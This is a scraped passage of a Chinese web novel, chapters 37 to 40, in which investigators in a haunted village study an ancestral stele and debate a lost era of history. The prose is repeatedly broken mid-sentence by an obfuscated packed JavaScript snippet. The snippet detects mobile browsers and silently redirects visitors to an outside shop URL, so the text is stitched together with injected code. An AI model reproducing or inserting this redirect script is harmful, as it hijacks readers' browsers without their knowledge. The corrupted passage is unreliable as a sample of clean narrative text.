哪怕这是一出荒诞不经的戏剧,她们也只能硬着头皮演完。毕竟颇有美名的剧团首席带着接班人和剧团成员跑到这种鸟不拉屎的地方已经很离谱,再跑去挖人祖坟那真的就彻底崩人设了。 孟溪村现在的状态就如蒙着一层薄纱,虚幻美好,所有人都掩耳盗铃一般假装一切正常,按照自己的逻辑行动着,维持这个世界的运转。虽然在外人看来诡异至极,但身处其中的人们并不觉得。 所谓“规则怪谈”,听起来高深恐怖,拆解开来其实就是一种逻辑自洽的循环,核心规则只有一个:扮演。身处其中的鬼怪妖魔在假装自己是人,外来者遵循它们的规则装作一切正常,都是演戏,只是一方沉醉一方清醒,一方无所畏惧一方小心翼翼。没有人会贸然打破这种循环,因为撕去假面,结局只有你死我活。 忙于为剧本到处采风的剧团会做的事有很多,但绝对不包括鬼鬼祟祟挖人祖坟,虽然有归很想知道真实的孟溪村是什么样子,但不是现在,不是直接莽上去然后白白送掉性命。 外面天已经黑透了,因为今晚注定要熬夜,所以也就无所谓规则纸条的警告。 众人从书房转移到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543113|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼下大厅,忙活了一天筋疲力尽,结果还不能早睡。艾莉安倦怠地趴在桌上,想了想又觉得不对,索性直接站起来绕着厅堂转圈。周嘉语抓了一大把糖果给大家分了,自己剥了颗糖放嘴里,又拿出一支营养液,就着甜味把营养液咽下去。 有归也掏出一支营养液,盯着看了一会儿,皱着眉头又放回去了。黎重见状,往厨房看了一眼,说:“吃面吗?” 她愣了一下,黎重解释道:“晚上不好做太复杂的,给你煮个面吧。还有肉和菜,但没有高汤,干拌可以吗?” “我要吃肉酱拌面。”有归点头,直接指定菜品。 一回生二回熟,有归把火生起来以后,就站一边看黎重把肉剁成沫。条件简陋,颜色不够鲜亮的肉酱在锅里咕嘟冒着热气,黎重把另一口锅里煮好面条捞起来,又下了几根小青菜,都搁在一个大碗里,浇上两大勺肉酱,撒上葱花,一碗肉酱面就得了。 香味扑鼻的肉酱面放在有归面前小板凳,黎重退后两步,倚着门看她一口一口吃着面,她神情放松下来了,只是脸上依旧没有笑影。他搬了个凳子坐她对面,有归抬头:“你一直看着我干什么?” “感觉你好像不太开心。” 有归筷子顿在半空,说:“我没有不开心,不过还是谢谢你的面。” 见她不愿意多说,黎重也不勉强,只是坐在凳子上看她小口小口地吃面。她吃东西动作很优雅,看似不疾不徐,实则很迅速,声音轻到几乎听不出来,带着明显的被训练过的痕迹。当然,也可以说是展现了有归良好的教养,但黎重并不喜欢。 可惜的是这个世界并不以他的喜好为转移,见有归已经吃完面了,他顺手拿过碗筷洗干净放回去。有归被他理所当然的态度震住了,搁那头脑风暴半天也没想明白,LUO和YIN是很宠她,但使唤起她来也从不手软,专项小组的长辈和前辈也都是这样,有归是真没见过这么客气的。大概是认识时间太短,还没那么熟吧。 灶里的柴禾有全部撤掉,留了几根,煨着锅里的肉酱。有归看汤汁红亮浓稠,看上去比刚才的更好吃,问道:“明早也是吃肉酱拌面吗?”锅里的分量是五六人的份,她倒不是对接连吃两顿面有什么意见,而是,“就这么放在这里,会不会被刷新掉?” 这倒是一个好问题,晃晃悠悠走到厨房门口的周嘉语听到了,连忙表示就这么放厨房里她不放心,这可是她们明早的口粮。最后找了个罐子装起来,放到有归的随身空间里,这个空间自带保鲜效果,也不怕坏,挺好。 一群人又搁大厅里发呆,艾莉安继续绕圈儿,有归刚开始觉得有趣还盯着她看,结果看着看着把自己看晕了,还有点想吐。小楼四下里门户紧闭,她觉得闷得不行,屋子里实在待不住,就到外头去了。 屋外夜色浓重,但见月光满地,月圆如盘,然而新历999年7月13日,该是一弯纤薄的南弦月才对。 有归盯着那月亮看,忽然身后的房门被打开,她回头,出来的是黎重。她叹了口气,抱着头蹲下了,黎重就这么看着她,好笑道:“你这什么表情?” 有归白了他一眼,黎重止住笑,一把把她从地上拉起来,“蹲久了头晕,你要不想站着的话中午用的躺椅没收,我陪你坐坐?” 她摇头,看了一眼月亮,自己走到芭蕉树下的躺椅上躺着,黎重站在原地,把今天晚上的事都过了一遍,忽然明白了什么。他拨开芭蕉叶,居高临下地看着她,神情好气又好笑:“周嘉语那事吓到你了?你怕我们也遇到,又觉得说出来也无济于事,所以就压在心底自个儿难受?” “有归,你该对我们多一点信任。” 37. 第 37 章 但这其实并不是信任不信任的问题,而是她没法说。周嘉语是当事人,虽然是一个很好的讨论对象,但有归不愿意让她一遍一遍回忆当时的情形。艾莉安和周嘉文则是不想加重她们的恐慌。至于黎重,虽然是哥哥,但不知道为什么,她总觉得有什么地方怪怪的。 她其实没有太多和他这样的男性打交道的经验。 不是年龄,而是......她也说不好,就莫名的感觉,感觉黎重像是一座随时会爆发的火山。 她大多数时间不是在未科院就是在未来政府或者是军队,接触过的人不管脾气有多暴躁,从来都不会让有归觉得危险。他们和有归是亲人是家人,相处从来都是温馨轻松的,但黎重不一样,他的靠近会让有归的神经下意识的紧绷。 而且,她根本没有办法拒绝别人的好意。 就像现在,黎重是因为担心她的安全才出来的,她那句“我想一个人静静”就怎么都说不出口。这是哥哥啊,是关心你爱护你的哥哥,为什么会想要逃避呢?有归想不明白。 不过黎重确实说对了,她是在烦恼着什么。 在遭遇突发事件时,虽然很不应该,但只有一个人出事其实应该庆幸才对,最起码保全了有生力量,也可以及时支援受伤的伙伴。但那是一般情况。今天中午和村长老头交谈后,她们就确定孟溪村存在某种精神污染,会混淆人们的认知,直至精神负荷到极限,那根绷紧的弦骤然断裂,一个原本正常的人从此变成了疯子。 现在,周嘉语也出现了这种精神污染。她的表现形式又与那些纸条主人完全不同,省略了过程,直接进行最后一步。像是投放一个疯狂的灵魂在她的身体里,取代她的本人的意识,演都不演了,而同在现场的两人却一丝被污染的痕迹都没有——这鲜明的对照让有归更疑惑了。 想想吧,她们现在所在这个世界里,随时随地都有被污染的可能,说不定某一天她们就都疯了。她们时刻都处在危险之中,而她们对于这种危险的来源毫无头绪。 这种针对的依据到底是什么呢?为什么是周嘉语?为什么她最后又摆脱了这种污染? “新历775年这个年份早在我去找沈三姑之前,我们就确定这是历史失落的开始,当时并没有发生什么事,可见新历775年并不是什么绝不能说出口的禁忌。至于沈三姑说的那些话的确很诡异,会造成一定程度的精神污染,我哥和艾莉安都好好的,只有我一个人中招,或许是因为我之前被魔那什的控制过。” 大门那里忽然传来周嘉语的声音,两人转过头去,周嘉语正向这边走过来。有归觉得这一番解释虽然说得通,未免有一些牵强。新历775年,775年,这一年是历史失落的开始,也是那个修真时代断绝的源头,这其中一定有莫大的隐情,与她们现在的处境息息相关。 但为什么是这一年呢? “这个我刚才已经问过艾莉安了,她说新历775年除了威克索玛之乱外,还记载了两件事,一件是云上帝国明镜城边境爆发的一场冲突,再就是希尔克斯提斯山脉塌了一半。”周嘉语掏出笔记本,翻开,照着上面念,“关于明镜城的记载就十六个字:承源四十八年二月初,镜城兽乱起,平。” 果然是云上帝国一贯的记录方式呢,赢了就只讲起因结果,至于经过提都不提,输了就大写特写,不仅起因经过结果清清楚楚,还要发表一番议论。 “希尔克斯提斯山脉不明原因坍塌。”这个更是短的可怜。 “这也看不出来有什么特殊的啊。”有归接过本子,看着上面短短的两行字发起了呆。周嘉语走到她身后,指着希尔克斯提斯山脉那一条,说:“这个我问过艾莉安,她说虽然没有明确的时间,但应该是发生在明镜城兽乱之后。” 有归眨了眨眼,从躺椅上跳下来,把本子合上还给周嘉语:“还是线索太少了,在这里查什么都不方便。明天一早我们就去祖坟地看看,把所有坟墓都看过,没法挖地三尺就把地面上的东西全部记下来,现在真就是跟个没头苍蝇似的乱转,希望明天祖坟地能找到有价值的线索,把事情都串起来。” 她这副气呼呼鼓着脸颊的样子实在可爱,周嘉语刚准备伸手呢,旁边黎重已经在有归脸上戳了一下,好像还不够似的轻轻捏了一下。脸上还残留着被戳捏的触感,有归用控诉的眼神看着黎重,又看了看周嘉语,周嘉语接收到了她的意思,目光飘忽就是不敢对视,最后咳了一声,扯开话题道:“如果要一一排查祖坟山的坟墓,这个工程量未免太大了,还是要圈定一个范围才行。” “沈凌璧的坟肯定是要看的,那七个客死异乡的也必须要看,整个祖坟山的核心也就是祖坟地那一片也不能放过。”有归对黎重呲牙,然后拿出纸笔,一边在笔记本上写写画画,一边说着,用笔帽顶着下巴在那沉思,想了一会儿又接着写,“其实我有一个想法,但需要验证,如果能拿到孟溪村的族谱就好了,不然就得一个一个数墓碑,这工作量是有点大了。” 周嘉语说:“族谱在三姑那,她连看都不肯让我看一眼,更别说借给我们了。倒是可以让小余帮我们偷偷拿出来,但这样就违反了扮演规则,我不建议这样做。” 今天周嘉语发生的事的确把有归吓到了,她都没想就直接说,“那还是数墓碑吧,至少安全。” “你数墓碑做什么?”黎重问。 “也不是数墓碑,是数墓碑上的名字。” “名字?” 有归点头,“一点小想法,等明天得到验证,或许我们就能知道柳笙到底遭遇了什么,还有后山的婴诡是怎么回事了。” 她一只手拿着本子,一只手捏着笔,沉吟道:“明天主要有两件事,第一是祖坟山,这里最重要的目标当然是沈凌璧的墓,希望我们真的能够找到她的墓志铭。” “第二件事就是查看祖坟山后面的那个山洞。”周嘉语直接帮她说了。 “也不知道那个修仙者是不是就在那里,如果她在就好了。” 黎重无语半晌:“你还想着拿到剧本,直通大结局?” 有归看了他一眼,说:“也不全是因为这个,我好奇她为什么会觉得我们几个有能力解决孟溪村背后那个东西,她这个修仙者都束手无策,我们几个能有什么办法?还有就是我们不是猜测失落历史其实遗失的是一个修真时代,但是除了那本淮南阁子书根本找不到其他证据,如果能找到这个修仙者不就能证实了?” 她们至今仍不知道那个让沈凌璧做出自绝于此处的秘密是什么,但想来,这个秘密的真相沈凌璧应该是从那个修仙者口中得知的。有归依旧不认为那个能够看穿四千多年的时光、那个能看到她们穿越时空来到这里的人是沈凌璧。是的,医者不自医,孟溪村的村民们都是沈凌璧的族人,和她息息相关,就算沈凌璧真是那个预见者,她也看不见自己和族人未来的命运,依旧会一头闯入这个死局之中。 命运的丝线紧密纠缠在一起,迷局之中谁也分不清,唯有局外人能够看出一些端倪。 有归把本子放好,活动了下手脚,趁两人不注意一溜烟跑到大门前,推开门的时候还回头说:“那个,月光挺好的,你们两个慢慢看,我就不打扰你们了。” 尴尬在小院无声弥漫。 周嘉语看了眼黎重,见他面无表情地盯着闭合的大门,无语中又透露着无奈,猛然爆发出一阵大笑,笑得脸都红了。黎重回头盯了周嘉语一眼,大踏步回屋去了。 漆黑的夜晚,村里的光源除了小楼,就是头顶那轮圆得过分妖异的月亮。周嘉语看了看四周,不敢一个人在外面待着,紧走几步跟在黎重背后进屋。前面的身影忽然不动了,周嘉语觉得奇怪,往前一看有归正睁大眼睛看着她们两个,还冲自己调皮地眨巴了一下眼睛。 这回周嘉语也体会到了黎重刚才的心情,刻板印象害死人,这小丫头脑袋里到底装的是什么啊,谁说哥哥姐姐就该在一起了。黎重的背影冷得跟座冰山似的,她惹不起躲得起,直接溜了。 想了想,她对有归招了招手,在她耳边低声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎重说:“是我们先入为主了,看到纸条规则上说的和来自后山的怪物的说法吻合,就以为这说的是同一件事。” 周嘉语想了想,说:“但也不能确定这说的就不是婴诡——的确,现在看来婴诡应该是被寄生在身上的那个叫魔那什的怪物吸引来的,可村民们是什么东西我们可还没有弄清楚,再是民风古朴也不能太阳一下山就见不着人吧。说不定村民们一到晚上就现原形了,现在躺在床上的就是一个怪物。” 她转头问有归:“你觉得呢?” 有归点头:“我同意你的说法。”借睡眠跳过黑夜,刚好可以避免显露怪物本质违反扮演规则,让这个世界继续循环下去。 “不过新的问题又出现了:第一,婴诡为什么只在夜晚出现?它的作用是什么?总不能就起到一个装饰作用,把那些在晚上还醒着的怪物吓跑吧。”说到这里,有归忽然抬头,视线正与黎重、周嘉语相汇。 黎重想了想,说:“有这种可能。不过这应该和那条规则有关,所谓隐藏在孟溪村黑夜中的危险,不单单指婴诡,还有——” “剥皮的怪物!”三人异口同声。 有归眨了眨眼,“看来我们达成共识了。” “那是不是可以这么认为:婴诡负责驱赶黑夜里的怪物,剥皮的怪物负责清理,分工很明确,似乎是这个世界维持自我运转的一种机制。”将那些在黑夜醒来的有自我意识的怪物清除掉,就不会导致世界崩坏。“问题是这个剥皮的怪物是只针对在晚上清醒着的村民呢,还是一视同仁把所有醒着的在村子里瞎转悠的人都视为清理对象?” “以后我们应该有的是机会验证这个问题。” 黎重点头,表情很凝重似的,他叹了口气,“现在解开了我们之前的一些疑问,也带来一个更加可怕的结果:孟溪村存在的精神污染会使人堕化为怪物,那个人正是因为这样才会看见婴诡......”他说的是那个在纸条上写看见婴诡来自后山的人,或许这人在那个时候就已经脱离人的范畴了。 小楼一片沉寂。 有归左右看看,都是美人,长得对眼睛很友好,就是那表情沉重的跟参加哀悼会似的。她合上本子,站起身来,手里还拿着笔,一挥手,“都这会儿就别在这待着了,睡觉去了,明天还要上祖坟山呢。” 几人都转头看着有归,有归看她们这呆样儿忍不住笑,她们看着各自的表情也笑。笑了一会儿,有归朝卧房一抬下巴:“走吧,睡觉去了。” 38. 第 38 章 睁眼又是新的一天。 新历999年7月14日,她们来到这个世界的第三天。 太阳还没露脸,几人就都起来了,早餐是昨晚说的酱肉面,黎重已经盛好放灶台上,她们洗漱完去就可以端自己的面。他端了两碗出来,先把一碗放在有归面前,然后才坐下。 今天事多,大家动作都快了许多,也顾不得什么形象不形象的,都呼呼的吃着面。艾莉安算是比较慢的那个,可抬头一看,有归碗里的面剩的比她还多,“你没有胃口吗?” 有归回了神,三两下解决完早餐,看得艾莉安目瞪口呆。她放下筷子,说:“我昨晚可能看见戴洪乐了。” 周嘉语并不觉得奇怪,“日有所思夜有所梦。” “不是梦,”有归摇头,“我是看见的。” 周嘉语也被她的话给弄糊涂了:“你昨晚有离开过?你在哪里看见戴洪乐的?他既然已经摆脱控制了,为什么不回来?” 有归想了想,还是摇头,“我没有离开过,但我确实看见戴洪乐了。” “不是梦见,而是我真的看到他了,你们懂吗?”有归也不太清楚是怎么回事,“我明明应该睡着,可却出现在一座山林里,四周的景色都很清晰,虽然我没有去过那里,但感觉应该就是孟溪村对面的某个地方,从那里向西北看去,刚好能看到西山。然后我就看到戴洪乐了,他的穿着长相和之前没什么不同,但给人的感觉完全不同。”一个可能不太恰当的比喻,就像是从一把钝钝的未开刃的菜刀,蜕变成了一柄锋利无比的利剑。 但一个人的气质怎么可能在瞬息之间完成这样翻天覆地的变化? 戴洪乐用无比认真郑重的语气对她说:“我要走了,天上的星星。谢谢你,或许有一天我们会再见的。”说完,他笑起来,让有归抓到了一点曾经的影子,那个腼腆的、温吞的、看上去有点傻的男孩。 然后他就消失了,在有归眼前凭空消失了。有归倚靠着一棵树,看着天边那弯纤薄弦月,直到醒来。 黎重斟酌着词句,“也就是说,你的身体还在床上躺着,但你的意识已经清醒了,并且去到了孟溪村之外的地方,见到了戴洪乐。” 有归点头:“这不是我能做到的,我是被人召唤过去的,召唤我的人就是戴洪乐。” 周嘉语总结道:“戴洪乐不仅摆脱了魔那什的精神控制,还有了奇遇。” “可既然是这样,他为什么不回来呢?”艾莉安不解。 “他有自己的考量吧。”黎重站起身来,顺手把有归的碗筷收走,“你担心他与虎谋皮?” “是,其实我大概能猜到他是和谁做了交易。”是那个看热闹不嫌事大的乐子人。“也不知道他交换了什么条件,更不知道他要去做什么,怎么能不担心?” 黎重笑了一下,对于戴洪乐的结局并不十分关注,“他有自己的事要做吧,我们不也有要做的事吗?今天不是计划去祖坟地吗,你列了那么多项,不仅抓紧点可赶不及在天黑前回来。” 祖坟地在孟溪村西南方的山坡上,托孟溪村年年祭祖的福,这条路还算好走——这只是相对于正面爬上西山而言。一路上都是高林密树,脚下是厚厚的树叶堆蕨草堆,非常滑溜,脚踩不稳,一不小心就得摔一屁股蹲。因为村民们早就实现了生产生活自由,也不需要柴禾烧火,到处都是细枝粗干,没几步路就遇到“拦路虎”,走得比昨天的西山之行还要折磨人。 “村民们真的有每年祭祖吗?别不是骗我们的吧。”周嘉语把路上横着的树枝拖过来,丢下路去,喘着气道。 这话提醒了有归,电光火石间,有一个念头一闪而过。黎重上了一个斜坡,回头对她伸出手,见她竟然愣住了,伸出的手改拉为拍,“怎么了?” “我刚才好像明白了什么,然后就没了。” 黎重看着自己的手,“不是被我一巴掌给拍没了吧?” “也许是呢,你要怎么负责?”有归伸手,借力攀了上去,掏出纸笔把周嘉语这句话记下来。周嘉语看她写的,“这句话有什么特别的吗?” “应该是特别的,但我忘了。”有归抬头,前面已经完全看不见路了,“我们是不是走错路了?” 周嘉语拍了拍手,“大方向应该没错,但估计已经偏离正确的路了。不过问题不大,反正那路有跟没有差不多。” 话是这么说,但这一回她们可是绕了不少冤枉路,走偏到后山去了。正要上山,回头一瞧好大一片坟地,有归看向最前面:“那就是沈曦说的石碑吧。” 几人又绕回去,从前头进去。远远一看,恍惚中那通体黑色的石碑,像是一个高大健壮的卫兵,看守着这墓园。走近了一看,才发现这石碑两米多高,散发着寒气,碑身刻满了字。字都用金粉描过,在黑色碑身的映衬下尤为明显,但有归在意的是: “这字好像不是刻上去的?” 这手字十分漂亮,比之前系统发布主线任务时的那笔字不知好了多少,清丽秀逸、潇洒自如。她伸手抚摸碑上的字体,刻痕深且窄,落笔牵丝一气呵成,不像是出自工匠之手,倒像是有人以这石碑为纸,肆意挥洒,才得到这样一篇浑然天成的作品[1]。 在场几人都看得出来这字有多好,但让她们说出个所以然来实在是难为人,未来时代早就没什么人写字了,更别说练习书法。听完有归的介绍,再去看碑上的字,还是没看出什么来。众人也不难为自己,直截了当地问有归:“你觉得是用什么来写的?” 有归捡了根树枝在那比划了几下,“应该是这么长的东西,似乎是剑。” 周嘉语叹口气:“才来这里不到两天,我过去几十年塑造出来的认知就已经碎成渣了。以剑为笔,以碑为纸,写下这么一大片,这得是什么人才能做到啊。” “两个人选,沈凌璧和那个预见千年的修仙者,端看你相信谁了。”有归伸出两个指头。周嘉语说:“那我肯定选那个修仙者。”毕竟当时沈凌璧已经年迈体衰、半截入土了,怎么看也不像是能做到这件事的人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552893|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黎重却有不同的看法:“我觉得是沈凌璧。”他没有说自己的理由,而是看向有归,“你觉得呢?” 有归端详着碑上的文字,摆烂道:“我两个都不选。”直接弃权。 这字好看归好看,却给众人阅读增加了很多困难,本来用的就是云上帝国时期那种比较简练的语言,再加上这字体,差点给人看成了圈圈眼。有归瞅了瞅周嘉语兄妹和黎重,再看看艾莉安,掏出本子来把全文都抄写下来,“你们歇会儿吧,我来看就好了。” 众人都摇头,“不能把事情都交给你,我们可以慢慢看。”都打起精神,艰难理解着碑文的意思。 的确如沈三姑所说,这上面记载的就是沈氏一族迁徙于此的全过程: 【云雾山孟溪村沈氏,出于云上帝国倾云城铭县沈氏。新历795年,倾云城困于战乱,遂迁。西向经月下等城池,进入云雾山余脉薄云山深处。途径马岭坡、野猪河等地,渐有人居,部分族人欲定居于此。行愈深,一河拦于前,澎湃汹涌,尽头处转入地下,为飞龙汲水之势,背山面水,利我沈氏,遂停,欲于此重建沈氏。然夜闻神召,于梦中齐聚地底之渊,见神身有如血雾,千眼百口,神通百变,众生拜服。应神之邀,于地渊之上重建沈氏,感于故地之水,故名“孟溪”。】 碑文的最后一列则是沈三姑说过的沈凌璧留下的家训:凡我沈氏儿孙,男不离村,女不出山,固守乡野,勿出孟溪。 艾莉安指着碑文最开始的两句话,说:“看来沈三姑没有骗我们,孟溪村的确是在新历795年因战乱迁到这里的。” 黎重道:“不止这个,你们看这句。” 【途径马岭坡、野猪河等地,渐有人居,部分族人欲定居于此。】 “也许沈村长也没有骗我们,溪源或许真的是他的远房亲戚。”他转头看向有归,“之前不是奇怪柳笙和沈希源是怎么找到这里来的吗?如果沈希源就是那些在迁徙途中定居别处的沈氏族人的后代,就说得通了。他不是误入此地的驴友,而是来这里寻亲的,柳笙作为他的女朋友,也一起来了。” 众人都认同这个说法,有归用笔点着纸面,说:“除此之外,这碑文还证实了两件事:其一,孟溪村最初的选址是一个背山面水、飞龙汲水的绝佳之处,这说明沈凌璧本人精通风水之说,但她却偏偏放弃了之前选好的那个风水宝地,让族人定居这等地方,并且将此地风水更改为不利于人类居住的阴气汇聚之地,这证实了我们之前的猜想,她的确是故意断绝家族血脉。其二和第一条有关,因为要断绝家族血脉,所以沈凌璧留下‘男不离村女不出山’的家训,希望将族人困死在这里。结合沈琏村长的经历,孟溪村的村民们恐怕背负着某种血脉诅咒,无论逃得多远,终究要回到家乡,而且还会连累家人。” “而让沈凌璧做出种种布置,让沈琏村长妻儿惨死,让孟溪村自绝于此的罪魁祸首,那个隐藏在孟溪村背后的秘密,就是这个召唤沈氏先祖的神明,我们此次任务的最终目标。” 39. 第 39 章 “不过这个神明长得真的抽象,‘身如血雾千眼百口’,这样的也能称之为神明?”周嘉语有点怀疑沈凌璧的眼光。 艾莉安说:“还记得有归之前说的吗?或许是我们太狭隘了,古人对于神的定义不仅仅是人们想象中浩然正气、济世救人的‘神明’,一切超脱世间万物、不受拘束的存在都可以称之为‘神’,有些对人类来说是正面的,而有些则对世界造成危害,传说中不也有邪神、恶神之类的存在吗?” “那这么说的话,噩梦乐园也可以是神了?” “额,也可以这么说。”艾莉安差点卡壳。 黎重说:“邪神也好,恶神也罢,反正都是我们的目标。这篇碑文已经给我们指明了这东西的藏身之处,地底之渊,也就是在孟溪村地底深处,而且沈凌璧她们是在梦中被召唤的,我们要怎么去到哪里?” 这个问题有归想过,但她觉得车到山前必有路,倒也不用这么着急。而且她们现在手里除了那道雷唤之术什么都没有,什么都不会,就算找到通往地底之渊的入口也是去送菜。 “我觉得当务之急,还是先看看这祖坟山有什么线索。一道碑文就透露了这么多信息,祖坟山藏着的东西恐怕更多。”她抬眼,一个恍惚,竟看见石碑上的字变得模糊起来。她以为是自己眼花了,揉了揉眼睛再看,那碑文若隐若现,“你们快看那里,那个碑文!” 五个人的目光死死盯着那一点,看那字迹闪烁着,闪烁着,时隐时现,最终彻底隐去,有一个新的日期浮现:新历1299年。 众人面面相觑,周嘉语疑惑道:“我们刚才好像也没碰到什么东西吧,它怎么就自己变了呢?总不能是声控的吧?” “说不定是遥控的呢。”有归随口接了句,绕着这石碑走了一圈,发现除了那个日期,别的都没有变化。 周嘉语道:“新历1299年,是什么特殊日子吗?好像也没听说这一年有发生什么大事。” 黎重沉吟半晌,忽然道:“新历1279年是没什么特殊的,但往前推20年,那一年就很特殊了。”那是新历1279年,噩梦乐园降临的日子。 有归猛地转头看向黎重,“这里的事情果然和噩梦乐园有关。” 黎重听出了她的言外之意:“你有什么想法?” “我之前怀疑是孟溪村背后的存在一手谋划了噩梦乐园,但又觉得不太对劲。” “是不太对。如果祂真的有这么大能量,又何必躲在这大山深处,还要依靠孟溪村来掩人耳目?” 有归想了想,还是不明白,“这日期一变,意思虽然相差不多,却变成了‘新历1299年,倾云城困于战乱,遂迁’,这不是胡闹嘛。”说着,她似乎想到了什么,抬眼,“我们之前是不是讨论过有关‘失落历史’的事?历史陷落发生在哪一年?” 艾莉安答:“新历775年。” 有归问:“倾云沈氏内迁至孟溪村是哪一年?” 周嘉语答曰:“新历795年。”说完她自己都愣住了,瞪大眼睛,“你是说?” 有归点头,“都是相差二十年,碑文的变化已经给我们指明了,新历795年对应的正是新历1299年,那么新历775年或许就是对应新历1279年。这是不是说明历史陷落的真正时间点其实是新历1279年,而不是所谓的新历775年?只是新历775年的某一天往后的历史被彻底截断,又将新历1279年的历史与之强行贴合,但中间相距504年的历史,根本无法弥合,所以历史才会完全错位。在那一年,在原本的新历1279年,一定发生了某件事,将世界彻底倾覆!” 她掷地有声,将所有人都震住了。众人细想,都觉得不寒而栗。噩梦乐园将弥瑞可大陆搅了个天翻地覆,让人们不得不住进钢筋水泥铸成的笼子里,可就是这样,大陆的历史依旧没有断绝,人类甚至借助这次劫难,实现了跨越式的提升。她们根本不敢想在原本的时间线上,到底发生了什么,才会让历史失落、传承断绝,而后世界陷入了长达两百年的战火之中。 艾莉安喃喃道:“如果真是这样,那就太可怕了。” 有归觉得难受,黎重看着她,周嘉语轻轻将她揽在怀里。大家的心情都低落极了,直到艾莉安说:“你们知道‘遗落历史’吗?” 众人诚实摇头,艾莉安却没有第一时间解答她们的疑惑,而是说:“其实学术界一直有一个说法,弥瑞可大陆的历史是愚人的历史。” 欸,还有这种说法?几人更感兴趣了,有归想一想也就明白这个指的是什么了:“是因为史书上无处不在的宗教和神学?” “是,你说的没错。”艾莉安肯定了有归的想法。“历史告诉我们,上位者以宗教和神学愚弄人民,以达到维护统治的目的。所以大陆的历史是一部人类反抗愚昧,追求人性光辉的历史。但我们仔细看就会发现,所谓宗教和神学,虽然贯穿了整个人类发展的始终,其实更像是抽象化的符号,主体的历史、尤其是秦安王朝-凌云帝国-云上帝国-云国的演变过程中,从来没有出现类似希尔王国的辉光主神这样全民信仰的神明,没有教廷这种曾作为行政中枢负责教务管理的机构,更没有教皇这样的神权代表。” 鉴于在座几位历史知识的贫乏,艾莉安给她们恶补了一下相关知识。 弥瑞可大陆的历史,除了后来那个牵强附会的未来时代,在最开始应该还有一个黑暗时代。黑暗时代是人类有文字记载之前的那段历史,得名于此是因为那首震撼人心的长篇叙事史诗《阿莎落马耶-弥瑞贝拉-黑暗史诗》,简称《黑暗史诗》。因为人们无法完全破译《黑暗史诗》中那些诗句所描写的场景,一部分学者认为黑暗时代的说法不该被采用,转而将未来时代与迷失时代、奇迹时代并列,但史学界依旧公认大陆历史上的四□□三个时代为黑暗时代、迷失时代和奇迹时代。 四□□则是终结黑暗的混沌纪元、人类从迷失转而追寻自我的创未纪元,以及撕裂凌云帝国、使大陆由统一走向分裂的苦炼纪元,和噩梦乐园降临后的寰归纪元。她们正在经历的正是第四纪寰归纪元。 对于艾莉安来说,研究历史的乐趣在于总结,但弥瑞可大陆的历史总是出现各种有趣的“意外”,并没有严格按照合久必分分久必合的规律发展,反而群魔乱舞精彩纷呈。她着重讲的,就是从凌云帝国灭亡到新历775年的这段历史。 相比于统一的唯一的黑暗时代终结后的秦安王朝和未来时代的未来政府,中间这一盘散沙就显得有趣多了。随着庞然大物般的凌云帝国轰然倒塌,这片土地先后出现了大大小小几百个不同的国家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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能否戴在那战火中少年的头顶? 风暴之中你坚毅的脸庞” 艾莉安吟哦着曾被视为愚昧和落后的词句,小楼一片寂静,良久,有归低声道:“这说的是闪耀智慧与知识的辉光之主莫丘利、奇迹主神弥瑞可、反抗命运的星夜女神妮可妮姬、爱与美的女神阿芙洛、自由之神与战争之神、风暴之主。” “这些词句曾经入选过小学的文学课本,但老师一般都会特别指出,神明是不存在的,这些只是饱经苦难的人们对于救世主的美好想象。”她说着,抬头目视艾莉安,微微一笑。 艾莉安声音依旧不大:“这种观点一直是后奇迹时代的主流观点,两百年的战争把旧有秩序打了个稀烂,人们靠双手在废墟上重建家园,倡导科学和理性,看待以前的历史难免有一种优越感。” 周嘉语点评了一句:“真是傲慢啊。” “也是人之常情。”有归说。未来时代也多的是这样的人,明明是站在前人的肩膀上才取得的成就,却又反过来心安理得地嘲笑她们的落后。然而时光永远无情永远向前,今天的后人,也会很快变成落后的前人。 艾莉安嗯了一声,“后来考古发掘了一个古代大家族的墓葬群,是长居云京的沈氏家族。” 40. 第 40 章 这个沈氏一出,几人同时打了个激灵,艾莉安笑道:“没错,这个沈氏家族祖居倾云城,云京的这一支在朝堂上十分活跃,史书上也有记载。不过这次发掘的墓葬群是在云景市,其中出土了大量书籍和往来书信,与现有的历史资料存在明显矛盾。随着对历史的深入研究,尤其是考古的推进,几乎推翻了人们对历史的固有认知,在当时的学界引起了轩然大波......” “后来呢?”黎重问。 “后来就是噩梦乐园降临,等到人们重新开始出发,却发现研究的成果在之前的劫难中几乎损毁耗尽。想要重新开启研究,但人类把自己关进了牢笼,根本无法发掘那些深埋在地底的文物,只好沿用后奇迹时代的历史。”艾莉安低着头,轻声道,“所以学术界一直有这样的说法:真正的历史已遗留在时间的长河中,我们偶然打捞起一两块碎片,却永远无法得见它的辉煌。” 